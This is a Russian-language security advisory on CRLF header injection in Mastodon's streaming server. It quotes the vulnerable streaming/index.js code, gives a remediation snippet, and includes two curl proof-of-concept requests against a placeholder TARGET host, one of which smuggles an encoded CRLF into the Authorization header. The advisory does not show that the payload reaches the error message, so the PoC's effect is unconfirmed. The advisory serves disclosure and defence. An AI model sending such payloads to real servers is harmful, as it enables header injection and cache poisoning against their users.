CVE-2026-XXXXX: Внедрение HTTP-заголовка ответа (CRLF) в потоковом сервере Mastodon

Обзор уязвимости

Описание уязвимости

Когда запрос на обновление WebSocket не проходит аутентификацию, потоковый сервер Mastodon в streaming/index.js строках 188-206 формирует ручной HTTP-ответ и записывает errorMessage непосредственно в заголовок ответа X-Error-Message через socket.end() БЕЗ санитизации символов \r или \n.

Это позволяет неаутентифицированному удаленному злоумышленнику внедрять произвольные HTTP-заголовки или выполнять расщепление HTTP-ответа (HTTP Response Splitting).

Уязвимый код (streaming/index.js строки 188-206)

const { statusCode, errorMessage } = extractErrorStatusAndMessage(err);
const headers = {
  'Connection': 'close',
  'Content-Type': 'text/plain',
  'Content-Length': 0,
  'X-Request-Id': request.id,
  'X-Error-Message': errorMessage   // NO CRLF sanitization
};
socket.end(
  `HTTP/1.1 ${statusCode} ${http.STATUS_CODES[statusCode]}\r\n` +
  `${Object.keys(headers).map((key) => `${key}: ${headers[key]}`).join('\r\n')}\r\n\r\n`
);

Воздействие

• HTTP Header Injection: Внедрение произвольных HTTP-заголовков
• HTTP Response Splitting: Внедрение второго тела HTTP-ответа (отравление кэша)
• Information Disclosure: Раскрытие информации — внутренние сообщения об ошибках становятся доступны неаутентифицированным пользователям

Подтверждение концепции

PoC 1 - Базовое обнаружение

curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  http://TARGET:4000/api/v1/streaming/user

Ожидается: HTTP/1.1 401 Unauthorized, X-Error-Message: Missing access token

PoC 2 - CRLF-инъекция

curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Authorization: Bearer test%0d%0aX-Injected: evil" \
  http://TARGET:4000/api/v1/streaming/user

Устранение уязвимости

Санитизируйте errorMessage перед записью в заголовок сокета:

const sanitizedMessage = String(errorMessage || '')
  .replace(/\r/g, '%0D')
  .replace(/\n/g, '%0A');
// OR use Node.js res.setHeader() API which prevents header injection

Хронология

Ссылки

• https://github.com/mastodon/mastodon
• https://cwe.mitre.org/data/definitions/74.html

Отказ от ответственности: Данное PoC предназначено только для образовательных целей и исследований в области безопасности.